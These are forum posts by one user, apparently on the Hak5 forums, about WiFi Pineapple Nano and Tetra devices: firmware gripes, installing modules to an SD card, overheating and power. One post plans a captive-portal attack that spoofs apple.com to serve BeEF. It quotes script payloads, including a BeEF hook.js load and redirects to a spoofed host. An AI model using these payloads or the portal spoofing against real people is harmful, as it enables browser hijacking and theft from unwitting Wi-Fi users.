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Now that the tetra was on TV maybe they'll start focusing on fixing the firmware now since more people will start to buy it like crazy

Can you give us a status update it's been a month and a half since that post pretty much and no news. Thanks

I love the products and I'm sure alot of them were sold so maybe it's time to hire another developer to help you out. Yea my nano is also almost useless right now as well and I have the same issues :( you guys need to hire someone to work on each project not ditch the Main one (pineapple)that got you big because the rubber ducky got shown on Mr robot. I understand you want to Switch to rubber ducky while everyone's still talking about It but with as many people who bought this you need to hire some more people.

Thanks mubix for resurrecting the Nano!!!

Theres no need for it since you connect to the nano via a web interface so it would be the same thing as an app.

My nano no longer installs or updates modules. The folder in /dev/root or rootfs is full so idk if that makes a difference. I want to just wipe it clean now and wipe onboard files and start all over. How do I do this? Also how do we connect to captive portals? because there is a million xfinity hotspots everywhere but it wont let me enter credentials to login to provide wifi dor wlan2. Can this be added to the networking section??

Right now the easiest way...Connect using your phone and screenshot them so you can look back on it or copy and paste the recon scan into textedit,leafpad w/e. They need to implement a notes box on each module to save notes or reminders etc..

A few places to check out.. irc.hak5.org #pineapple http://wiki.wifipineapple.com/#!pineapple_university.md http://wiki.wifipineapple.com/#!video_guides.md << Basically the whole Wiki is helpful if you have no idea what your doing. So I assume you updated the firmware on it to 1.0.5 . After you get a client connected( I dont mean the computer or phone your using to connect to the ap) go down to module manager and click "Manage Modules"and then click "Get Modules from WiFiPineapple.com and it should refresh the page and display almost 15 or so modules that are available. If your on PC click install all the way to the right on each module and it will ask you to install to "SD card"(Thats what its for since the Nano doesnt have much space. Extend the storage and add up to 64gb?? storage to the pineapple nano) Or Install Internal. I would select SD and if you dont have one go buy one online or at store ASAP because you will need it after installing updates,packages, and modules the nano will get full quick. If your on a phone you might not see "Install" so move the scroll bar to the right to see the button. The modules have a description on them so if you dont know how to use them use the links above or go to the Nano/Tetra Modules Section or Search for youtube videos and you can learn everything you need to know to get going. The SD card can also be used to store Reports/Logs/Settings?/Opkg packages or whatever you want. Buy one!

If you click all the boxes and run the pineAP im pretty sure if they have wifi turned on but not connected still because of the beacon responses going out and coming in there phone will connect to you still even if there AP from home is 1000miles away. Unless they have it set to not save Wifi logins then it wont auto connect to your nano.

Mines the same if i connect them both and start up nano I cant connect to management ap it says wrong pass but if i remove the usb wifi the pass works fine.

Topic: Setting up SD card as root to install more pkgs with opkg Post: I want to install and run a beef server on the nano amd one of the dependencies is ruby and there's no room on the nano at all really and it always installs the packages in opkg in the default root folder and even if I download to the SD card it still needs to be installed to the root because that's where openwrt os files are. I've tried opkg --dest and -o which is root-offline-install but I keep getting an error in both can't find dest "/sd/opkg" or whatever folder I choose on SD card. I want to be able to install more then a few packages from opkg so I image I'll need the space regardless. I'm sure I can run a beef server on my kali distro and share the connection from there to nano and then just load the Portal to connect to my beef hook address or just include "hook.js" in the code on no dog splash page and load there. Example: I got this from another site it just shows using karnasploit like the nano basically but not as easy and forwarding apple.com to your ip at the beef server and but looking like Apple.com on the captive portal and then loading payloads and the beef hook. Thing is beef server is ran on the laptop not the nano amd I want this to be able to run on its own without bringing the laptop if possible. I just don't know how slow beef and ruby would slow it down and keep cpu usage high. It might have to be ran from kali in background unless the beef hook can be hooked anywhere ane then Connect to beef control panel on my phone and load the JS payloads. If this has been tried before and it won't work for some reason enlightenment me please if it hasn't been and you have more info let me know. I'm trying to see how it can be a module somehow only thing is the control panel for beef and ruby and no api still so I'm jusy trying to figure it out on my own. This article shows a few ways of using the captive portal if anyone else with api already and more experience wants to take a look at it. <script type=text/javascript>window.location = http://www.apple.com:8080/YOURPIX.jpg</script><!Arbitrary Redirect > <script type=text/javascript>window.open(http://www.apple.com:8080/YOURPIX.jpg)</script><! Arbitrary Redirect > <script type=text/javascript src=http://www.apple.com:3000/hook.js></script><!Standard BeEF Hook > https://www.securestate.com/blog/2011/10/07/apple-os-x-lion-captive-portal-hijacking-attack

Lol definitely wasnt next to the exhaust fan on laptop. Just a random spot next to the trackpad getting hot.

You can always get a custom case made for it and expose the led kinda like the custom raspberry pi cases they have

Ok so it wasn't as hot as I thought I noticed I had it in a bad spot on top of the laptop and I guess where alot of heat was generating. I moved it over and cooled down. I guess if it did become an issue later on I could get a small southbridge heatsink or those ones that look like bandaids that stick on. Just for fun darren have you tried connecting 2 nanos into each other and making a dual core 800mhz!? Idk if they would run together but it would be like a mini tetra and 4 radios to do whatever you wanted.

Your right the juice pack powers it perfectly! I made mine like yours def alot better and not as long and doesnt cover the vents. Ive noticed with the alfa plugged in it gets hot QUICK!